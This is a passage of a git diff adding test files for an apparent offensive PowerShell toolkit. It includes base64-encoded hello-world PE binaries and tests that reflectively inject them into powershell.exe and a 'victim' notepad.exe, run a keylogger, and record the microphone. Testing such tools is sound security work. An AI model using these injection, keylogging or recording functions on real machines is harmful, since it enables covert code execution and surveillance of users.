9uZXhpdADuAEVuY29kZVBvaW50ZXIAqQNRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgDHAUdldEN1cnJlbnRQcm9jZXNzSWQAywFHZXRDdXJyZW50VGhyZWFkSWQAAIACR2V0U3lzdGVtVGltZUFzRmlsZVRpbWUAywBEZWNvZGVQb2ludGVyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD+/////////wAAAAAyot8tmSsAAM1dINJm1P//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAJgQAABAIgAAmBAAAHwRAABQIgAAfBEAAIwRAABoIgAAjBEAAFoSAAB4IgAAXBIAAL8SAACAIgAAwBIAADAUAACIIgAAMBQAAEIUAAB4IgAARBQAAHwUAAB4IgAAfBQAAJMUAAB4IgAA8BQAAD0VAACoIgAAcBUAABwWAADMIgAAIBYAAG4WAAAAIwAAcBYAACAXAADYIgAAIBcAADcXAAB4IgAAOBcAAHAXAAAIIwAAcBcAAKgXAAAIIwAA4BcAAP4XAAD4IgAAABgAACAYAAD4IgAAIBgAADsYAAD4IgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAFAAAACihQKFIoVChCKIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==' + $Encoded32BitExe = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAADrbTR2rwxaJa8MWiWvDFol6V2HJa0MWiXpXYUlrgxaJelduiW8DFol6V27Ja0MWiWmdMklrAxaJa8MWyWGDFoljXW+Ja4MWiWNdYQlrgxaJVJpY2ivDFolAAAAAAAAAAAAAAAAAAAAAFBFAABMAQQAxLY+VgAAAAAAAAAA4AACAQsBDAAACgAAAAwAAAAAAAB/EwAAABAAAAAgAAAAAEAAABAAAAACAAAFAAEAAAAAAAUAAQAAAAAAAFAAAAAEAAAAAAAAAwBAgQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAzCEAADwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAZAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGCEAAEAAAAAAAAAAAAAAAAAgAACsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAABMCQAAABAAAAAKAAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAAnAUAAAAgAAAABgAAAA4AAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAAIQDAAAAMAAAAAIAAAAUAAAAAAAAAAAAAAAAAABAAADALnJlbG9jAABkAQAAAEAAAAACAAAAFgAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWL7IHsEAEAAKHYIEAAiUX4ZqHcIEAAVmaJRfyg3iBAAGjgIEAAaOwgQACIRf7/FRAgQABQ/xUMIEAAi/CF9g+ExwAAAGgCAQAAjYXw/v//UI1F+FD/FQQgQACFwA+EqQAAAGj0IEAAjYXw/v//aAIBAABQ/9aDxAyFwA+FiwAAAFdQaIAAAABqAlBqB2gWARIAjYXw/v//UP8VACBAAIv4hf90X1OLHQggQABqAGoAag5oBCFAAFf/04tFCIP4AX46vgEAAACLRQyLFLCLwo1IAYlN9IoIQITJdfkrRfRqAGoAUFJX/9NqAGoAagFoFCFAAFf/00Y7dQh8y1f/FRQgQABbXzPAXovlXcO4AQAAAF6L5V3DuE1aAABmOQUAAEAAdAQzwOs0iw08AEAAgbkAAEAAUEUAAHXquAsBAABmOYEYAEAAddwzwIO5dABAAA52CTmB6ABAAA+VwGoBoygwQAD/FZQgQABZav//FTAgQACLDUwgQACjeDNAAKN8M0AAoUwwQACJAYsNUCBAAKFAMEAAiQHoLAUAAOhEAgAAgz0AMEAAAHUMaOQTQAD/FTwgQABZ6E0FAACDPRAwQAD/dQlq//8VVCBAAFkzwMNo5xZAAOjZBAAAoUgwQADHBCQ8MEAA/zVEMEAAozwwQABoNDBAAGgwMEAAaCwwQAD/FZggQACDxBSjODBAAIXAeQhqCOjGAQAAWcNqDGhwIUAA6BoFAAAz24ld/GShGAAAAItQBIv7vnAzQACLyjPA8A+xDoXAdAs7wnXwM/ZGi/7rAzP2Rjk1dDNAAHUKah/oegEAAFnrOjkddDNAAHUsiTV0M0AAaMggQABouCBAAOiqBAAAWVmFwHQXx0X8/v///7j/AAAA6d4AAACJNSAwQAA5NXQzQAB1G2i0IEAAaKwgQADofAQAAFlZxwV0M0AAAgAAAIX/dQkzwLlwM0AAhwGDPYAzQAAAdBlogDNAAOhcAQAAWYXAdApTagJT/xWAM0AAiw00MEAAoUggQACJCP81NDBAAP81MDBAAP81LDBAAOjp/P//g8QMoyQwQACDPSgwQAAAdTZQ/xWQIEAAi03siwGLAIlF5FFQ6JgAAABZWcOLZeiLReSjJDBAAIM9KDBAAAB1B1D/FYwgQACDPSAwQAAAdQv/FYggQAChJDBAAMdF/P7////oBwQAAMPorQEAAOmR/v//VYvsi0UIiwCBOGNzbeB1JYN4EAN1H4tAFD0gBZMZdBs9IQWTGXQUPSIFkxl0DT0AQJkBdAYzwF3CBADo8wMAAMxoiRNAAOjuAwAAWTPAw/8loCBAAP8lnCBAADPAw8zMzMzMzMzMzFWL7ItFCDPSU1ZXi0g8A8gPt0EUD7dZBoPAGAPBhdt0G4t9DItwDDv+cgmLSAgDzjv5cgpCg8AoO9Ny6DPAX15bXcPMzMzMzMzMzMzMzMzMVYvsav5okCFAAGiZF0AAZKEAAAAAUIPsCFNWV6EYMEAAMUX4M8VQjUXwZKMAAAAAiWXox0X8AAAAAGgAAEAA6HwAAACDxASFwHRUi0UILQAAQABQaAAAQADoUv///4PECIXAdDqLQCTB6B/30IPgAcdF/P7///+LTfBkiQ0AAAAAWV9eW4vlXcOLReyLADPJgTgFAADAD5TBi8HDi2Xox0X8/v///zPAi03wZIkNAAAAAFlfXluL5V3DzMzMzMzMVYvsi0UIuU1aAABmOQh0BDPAXcOLSDwDyDPAgTlQRQAAdQy6CwEAAGY5URgPlMBdw1WL7IPsFINl9ACDZfgAoRgwQABWV79O5kC7vgAA//87x3QNhcZ0CffQoxwwQADrZo1F9FD/FSAgQACLRfgzRfSJRfz/FSQgQAAxRfz/FSggQAAxRfyNRexQ/xUsIEAAi03wjUX8M03sM038M8g7z3UHuU/mQLvrEIXOdQyLwQ0RRwAAweAQC8iJDRgwQAD30YkNHDBAAF9ei+Vdw4M9fDNAAAB0AzPAw1ZqBGog/xVkIEAAWVmL8Fb/FTAgQACjfDNAAKN4M0AAhfZ1BWoYWF7DgyYAM8Bew2oUaLAhQADoKwEAAINl3AD/NXwzQACLNRwgQAD/1olF5IP4/3UM/3UI/xVsIEAAWetlagjohgEAAFmDZfwA/zV8M0AA/9aJReT/NXgzQAD/1olF4I1F4FCNReRQ/3UIizUwIEAA/9ZQ6F4BAACDxAyL+Il93P915P/Wo3wzQAD/deD/1qN4M0AAx0X8/v///+gLAAAAi8fo4AAAAMOLfdxqCOgeAQAAWcNVi+z/dQjoTP////fYWRvA99hIXcNWV75kIUAAv2QhQADrC4sGhcB0Av/Qg8YEO/dy8V9ew1ZXvmwhQAC/bCFAAOsLiwaFwHQC/9CDxgQ793LxX17DVmgAAAMAaAAAAQAz9lboxgAAAIPEDIXAdQJew1ZWVlZW6K0AAADM/yVAIEAA/yVEIEAAzMzMzMzMaJkXQABk/zUAAAAAi0QkEIlsJBCNbCQQK+BTVlehGDBAADFF/DPFUIll6P91+ItF/MdF/P7///+JRfiNRfBkowAAAADDi03wZIkNAAAAAFlfX15bi+VdUcNVi+z/dRT/dRD/dQz/dQho5hdAAGgYMEAA6D8AAACDxBhdw/8lpCBAAP8lWCBAAP8lXCBAAP8lYCBAAP8laCBAAP8lcCBAAP8ldCBAADsNGDBAAHUC88PpRAAAAMz/JXggQABVi+z/FRggQABqAaNsM0AA6CMBAAD/dQjoIQEAAIM9bDNAAABZWXUIagHoCQEAAFloCQQAwOgKAQAAWV3DVYvsgewkAwAAahfo/QAAAIXAdAVqAlnNKaNQMUAAiQ1MMUAAiRVIMUAAiR1EMUAAiTVAMUAAiT08MUAAZowVaDFAAGaMDVwxQABmjB04MUAAZowFNDFAAGaMJTAxQABmjC0sMUAAnI8FYDFAAItFAKNUMUAAi0UEo1gxQACNRQijZDFAAIuF3Pz//8cFoDBAAAEAAQChWDFAAKNcMEAAxwVQMEAACQQAwMcFVDBAAAEAAADHBWAwQAABAAAAagRYa8AAx4BkMEAAAgAAAGoEWGvAAIsNGDBAAIlMBfhqBFjB4ACLDRwwQACJTAX4aNAgQADozP7//4vlXcP/JXwgQAD/JYAgQAD/JYQgQAD/JTQgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC0IgAAwiIAAN4iAADqIgAA/CIAABAjAABsJQAAXCUAAEIlAAAsJQAAFiUAAPwkAADsJAAAgCUAAAAAAACaIwAAriMAALwjAADIIwAA1CMAAN4jAACEIwAA/iMAADAkAAA4JAAAQiQAAFAkAABeJAAAaCQAAHokAACKJAAApCQAALokAADUJAAAeiMAAHIjAABqIwAAWCMAAEgjAAA6IwAALCMAAOojAAAAAAAAAAAAAM8RQAAAAAAAAAAAABYRQADNFUAAyhNAAAAAAAAAAAAAUDBAAKAwQAAlVEVNUCUAAHN0cmNhdF9zAAAAAG50ZGxsAAAAXHRlc3RvdXRwdXQudHh0AEhlbGxvLCB3b3JsZCEgAAAgAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGDBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP7///8AAAAA1P///wAAAAD+////LxNAAEMTQAAAAAAA/v///wAAAADY////AAAAAP7////JFEAA3BRAAAAAAAD+////AAAAAMz///8AAAAA/v///wAAAACmFkAACCIAAAAAAAAAAAAAHiMAAAAgAABEIgAAAAAAAAAAAAAiJAAAPCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtCIAAMIiAADeIgAA6iIAAPwiAAAQIwAAbCUAAFwlAABCJQAALCUAABYlAAD8JAAA7CQAAIAlAAAAAAAAmiMAAK4jAAC8IwAAyCMAANQjAADeIwAAhCMAAP4jAAAwJAAAOCQAAEIkAABQJAAAXiQAAGgkAAB6JAAAiiQAAKQkAAC6JAAA1CQAAHojAAByIwAAaiMAAFgjAABIIwAAOiMAACwjAADqIwAAAAAAAIgAQ3JlYXRlRmlsZUEAHAFFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NBACUFV3JpdGVGaWxlAEUCR2V0UHJvY0FkZHJlc3MAABUCR2V0TW9kdWxlSGFuZGxlQQAAUgBDbG9zZUhhbmRsZQBLRVJORUwzMi5kbGwAAGsBX1hjcHRGaWx0ZXIAFwJfYW1zZ19leGl0AAC2AV9fZ2V0bWFpbmFyZ3MA8gFfX3NldF9hcHBfdHlwZQAATgZleGl0AACDAl9leGl0AC8CX2NleGl0AABAAl9jb25maWd0aHJlYWRsb2NhbGUA9AFfX3NldHVzZXJtYXRoZXJyAAANA19pbml0dGVybV9lAAwDX2luaXR0ZXJtALcBX19pbml0ZW52AKICX2Ztb2RlAAA/Al9jb21tb2RlAAA1AT90ZXJtaW5hdGVAQFlBWFhaAKkBX19jcnRTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAAE1TVkNSMTIwLmRsbAAAlANfbG9jawAEBV91bmxvY2sALgJfY2FsbG9jX2NydACuAV9fZGxsb25leGl0ADoEX29uZXhpdAAUA19pbnZva2Vfd2F0c29uAABDAl9jb250cm9sZnBfcwAAegJfZXhjZXB0X2hhbmRsZXI0X2NvbW1vbgBQAl9jcnRfZGVidWdnZXJfaG9vawAArAFfX2NydFVuaGFuZGxlZEV4Y2VwdGlvbgCrAV9fY3J0VGVybWluYXRlUHJvY2VzcwDqAEVuY29kZVBvaW50ZXIApwNRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgDBAUdldEN1cnJlbnRQcm9jZXNzSWQAxQFHZXRDdXJyZW50VGhyZWFkSWQAAHkCR2V0U3lzdGVtVGltZUFzRmlsZVRpbWUAygBEZWNvZGVQb2ludGVyAAADSXNEZWJ1Z2dlclByZXNlbnQABANJc1Byb2Nlc3NvckZlYXR1cmVQcmVzZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA/v////////9O5kC7sRm/RAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAABEAQAACjATMB0wIjAnMDAwNzBXMGQwmzCoMLMw7zD/MB4xKjEwMUIxTDFVMV8xZTFuMXQxeTF+MYMxizGQMaIxqjGwMbwxxzHQMdox4THnMewx8TH2MfsxATIJMh0yNzJXMmkycTJ2MnsynTKjMqoyrzK8Mssy0zLbMu8y9TL6MgIzCDMOMxszITMrM0ozUDNaM2AzaTNuM8sz2jPgM0Y0SzRdNHs0jzSVNEA1WzVnNXY1fzWMNbs1wzXPNeA16zXwNfU1DDYbNiE2NDZJNlQ2ajaENo42yjbPNuo27zYwNzY3QTdeN6k3rje+N8Q3yjfQN9Y33DfiN+g3+DcBOAg4GzhTOFk4XzhlOGs4cTh4OH84hjiNOJQ4mziiOKo4sji6OMY4zzjUONo45DjuOP44DjkeOSc5Njk8OUI5SDkAAAAgAAAgAAAAsDC8MMAwxDDQMNQwVDGEMYgxpDGoMcgxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + + $WideStrDllBytes32 = [Convert]::FromBase64String($Encoded32BitWStringDll) + $StrDllBytes32 = [Convert]::FromBase64String($Encoded32BitStringDll) + $VoidDllBytes32 = [Convert]::FromBase64String($Encoded32BitVoidDll) + $WideStrDllBytes64 = [Convert]::FromBase64String($Encoded64BitWStringDll) + $StrDllBytes64 = [Convert]::FromBase64String($Encoded64BitStringDll) + $VoidDllBytes64 = [Convert]::FromBase64String($Encoded64BitVoidDll) + $ExeBytes32 = [Convert]::FromBase64String($Encoded32BitExe) + $ExeBytes64 = [Convert]::FromBase64String($Encoded64BitExe) + + if ([IntPtr]::Size -eq 4) { + $PowerShell32bit = $True + $WideStrDllBytes = $WideStrDllBytes32 + $StrDllBytes = $StrDllBytes32 + $VoidDllBytes = $VoidDllBytes32 + $ExeBytes = $ExeBytes32 + } else { + $PowerShell32bit = $False + $WideStrDllBytes = $WideStrDllBytes64 + $StrDllBytes = $StrDllBytes64 + $VoidDllBytes = $VoidDllBytes64 + $ExeBytes = $ExeBytes64 + } + + Context 'DLL loading' { + It 'should load a DLL (wchar_t*) in memory within powershell.exe and returns "Hello, world!"' { + $Result = Invoke-ReflectivePEInjection -PEBytes $WideStrDllBytes -FuncReturnType WString -DoNotZeroMZ + + $Result | Should Not BeNullOrEmpty + $Result | Should Be 'Hello, world!' + } + + It 'should load a DLL (char*) in memory within powershell.exe and returns "Hello, world!"' { + $Result = Invoke-ReflectivePEInjection -PEBytes $StrDllBytes -FuncReturnType String -DoNotZeroMZ + + $Result | Should Not BeNullOrEmpty + $Result | Should Be 'Hello, world!' + } + + It 'should load a DLL (void) in memory within powershell.exe and writes "Hello, world!" to %TEMP%\testoutput.txt' { + $TestOutputPath = Join-Path $Env:TEMP 'testoutput.txt' + if (Test-Path $TestOutputPath) { Remove-Item $TestOutputPath } + + Invoke-ReflectivePEInjection -PEBytes $VoidDllBytes -FuncReturnType Void -DoNotZeroMZ + + Start-Sleep -Seconds 2 + $TestOutputPath | Should Exist + $Result = Get-Content $TestOutputPath + + $Result | Should Not BeNullOrEmpty + $Result | Should Be 'Hello, world!' + } + + It 'should load a DLL (void) in memory within notepad.exe and write "Hello, world!" to %TEMP%\testoutput.txt' { + $64BitOS = $False + if ($Env:ProgramW6432) { $64BitOS = $True } + + # When launching notepad.exe, the bitness of the process needs to match that of powershell.exe + if ($PowerShell32bit -and $64BitOS) { + # 32-bit PowerShell on a 64-bit OS needs to launch Wow64 notepad + $NotepadPath = "$($Env:SystemRoot)\SysWow64\notepad.exe" + } else { + $NotepadPath = "$($Env:SystemRoot)\System32\notepad.exe" + } + + $NotepadProc = Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $NotepadPath + + if ($NotepadProc.ReturnValue -ne 0) { + throw 'Could not start victim process: notepad.exe' + } + + $VictimPID = $NotepadProc.ProcessId + + $TestOutputPath = Join-Path $Env:TEMP 'testoutput.txt' + if (Test-Path $TestOutputPath) { Remove-Item $TestOutputPath } + + Invoke-ReflectivePEInjection -PEBytes $VoidDllBytes -ProcId $VictimPID -DoNotZeroMZ + + $Result = Get-Content $TestOutputPath + + Start-Sleep -Seconds 2 + + Stop-Process -Id $VictimPID + + $Result | Should Not BeNullOrEmpty + $Result | Should Be 'Hello, world!' + } + + It 'should not load a DLL in memory within powershell.exe when the bitness of powershell.exe and the DLL do not match.' { + if ($PowerShell32bit) { + $PEBytes = $WideStrDllBytes64 + } else { + $PEBytes = $WideStrDllBytes32 + } + + # Attempt to load the wide string DLL in memory with a mismatched bitness + { Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -DoNotZeroMZ } | Should Throw + } + + It 'should not load a DLL in memory within powershell.exe when the return types do not match.' { + # This DLL exports WStringFunc which means that -FunReturnType should be WString + { $Result = Invoke-ReflectivePEInjection -PEBytes $WideStrDllBytes -FuncReturnType String -DoNotZeroMZ } | Should Throw + } + } + + Context 'EXE Loading' { + $TestOutputPath = Join-Path $Env:TEMP 'testoutput.txt' + + BeforeEach { + if (Test-Path $TestOutputPath) { Remove-Item $TestOutputPath } + } + + It 'should load an EXE in memory within powershell.exe and write "Hello, world!" to %TEMP%\testoutput.txt when provided no arguments' { + Invoke-ReflectivePEInjection -PEBytes $ExeBytes -DoNotZeroMZ + } + + It 'should load an EXE in memory within powershell.exe and write "Hello, world!" to %TEMP%\testoutput.txt when provided arguments' { + Invoke-ReflectivePEInjection -PEBytes $ExeBytes -ExeArgs 'foo bar' -DoNotZeroMZ + } + + AfterEach { + Start-Sleep -Seconds 2 + $TestOutputPath | Should Exist + $Result = Get-Content $TestOutputPath + + $Result | Should Not BeNullOrEmpty + $Result.StartsWith('Hello, world!') | Should Be $True + } + } +} \ No newline at end of file diff --git a/Tests/Exfiltration.tests.ps1 b/Tests/Exfiltration.tests.ps1 new file mode 100644 index 00000000..ed98f45c --- /dev/null +++ b/Tests/Exfiltration.tests.ps1 @@ -0,0 +1,85 @@ +Set-StrictMode -Version Latest + +$TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent +$ModuleRoot = Resolve-Path "$TestScriptRoot\.." +$ModuleManifest = "$ModuleRoot\Exfiltration\Exfiltration.psd1" + +Remove-Module [E]xfiltration +Import-Module $ModuleManifest -Force -ErrorAction Stop + +Describe 'Get-Keystrokes' { + + if (Test-Path "$($env:TEMP)\key.log") { Remove-Item -Force "$($env:TEMP)\key.log" } + $WindowTitle = (Get-Process -Id $PID).MainWindowTitle + + $Shell = New-Object -ComObject wscript.shell + $Shell.AppActivate($WindowTitle) + + $KeyLogger = Get-Keystrokes -PassThru + Start-Sleep -Seconds 1 + + $Shell.SendKeys("Pester`b`b`b`b`b`b") + $KeyLogger.Dispose() + + It 'Should output to file' { Test-Path "$($env:TEMP)\key.log" | Should Be $true } + + $KeyObjects = Get-Content -Path "$($env:TEMP)\key.log" | ConvertFrom-Csv + + It 'Should log keystrokes' { + $FileLength = (Get-Item "$($env:TEMP)\key.log").Length + $FileLength | Should BeGreaterThan 14 + } + + It 'Should get foreground window title' { + $KeyObjects[0].WindowTitle | Should Be $WindowTitle + } + + It 'Should log time of key press' { + $KeyTime = [DateTime]::Parse($KeyObjects[0].Time) + $KeyTime.GetType().Name | Should Be 'DateTime' + } + + It 'Should stop logging after timeout' { + + $Timeout = 0.05 + $KeyLogger = Get-Keystrokes -Timeout $Timeout -PassThru + + Start-Sleep -Seconds 4 + + $KeyLogger.Runspace.RunspaceAvailability | Should Be 'Available' + $KeyLogger.Dispose() + } + + Remove-Item -Force "$($env:TEMP)\key.log" +} + +Describe "Get-MicrophoneAudio" { + + $RecordPath = "$env:TEMP\test_record.wav" + $RecordLen = 2 + Context 'Successful Recording' { + BeforeEach { + #Ensure the recording as been removed prior to testing + Remove-Item -Path $RecordPath -ErrorAction SilentlyContinue + } + + AfterEach { + #Remove the recording after testing + Remove-Item -Path $RecordPath -ErrorAction SilentlyContinue + } + + It 'should record audio from the microphone and save it to a specified path' { + $result = Get-MicrophoneAudio -Path $RecordPath -Length $RecordLen + $result | Should Not BeNullOrEmpty + $result.Length | Should BeGreaterThan 0 + } + + } + + Context 'Invalid Arguments' { + It 'should not allow invalid paths to be used' { + { Get-MicrophoneAudio -Path "c:\FAKEPATH\yay.wav" -Length RecordLen} | Should Throw + } + } + +} diff --git a/Tests/PowerSploit.tests.ps1 b/Tests/PowerSploit.tests.ps1 new file mode 100644 index 00000000..527face6 --- /dev/null +++ b/Tests/PowerSploit.tests.ps1 @@ -0,0 +1,49 @@ +Set-StrictMode -Version Latest + +$TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent +$ModuleRoot = Resolve-Path "$TestScriptRoot\.." + +filter Assert-NotLittleEndianUnicode { + [CmdletBinding()] + param ( + [Parameter(Mandatory = $True, + ValueFromPipelineByPropertyName = $True, + ValueFromPipeline = $True)] + [Alias('FullName')] + [String[]] + $FilePath + ) + + $LittleEndianMarker = 48111 # 0xBBEF + + Write-Verbose "Current file: $FilePath" + Write-Debug "Current file: $FilePath" + + if ([System.IO.Directory]::Exists($FilePath)) { + Write-Debug "File is a directory." + return + } + + if (-not [System.IO.File]::Exists($FilePath)) { + Write-Debug "File does not exist." + return + } + + $FileBytes = Get-Content -TotalCount 3 -Encoding Byte -Path $FilePath + + if ($FileBytes.Length -le 2) { + Write-Debug "File must be at least 2 bytes in length." + return + } + + if ([BitConverter]::ToUInt16($FileBytes, 0) -eq $LittleEndianMarker) { + Write-Debug "File contains little endian unicode marker." + throw "$_ is little-endian unicode encoded." + } +} + +Describe 'ASCII encoding of all scripts' { + It 'should not contain little-endian unicode encoded scripts or modules' { + { Get-ChildItem -Path $ModuleRoot -Recurse -Include *.ps1,*.psd1,*.psm1 | Assert-NotLittleEndianUnicode } | Should Not Throw + } +} \ No newline at end of file diff --git a/Tests/Privesc.tests.ps1 b/Tests/Privesc.tests.ps1 new file mode 100644 index 00000000..b8435314 --- /dev/null +++ 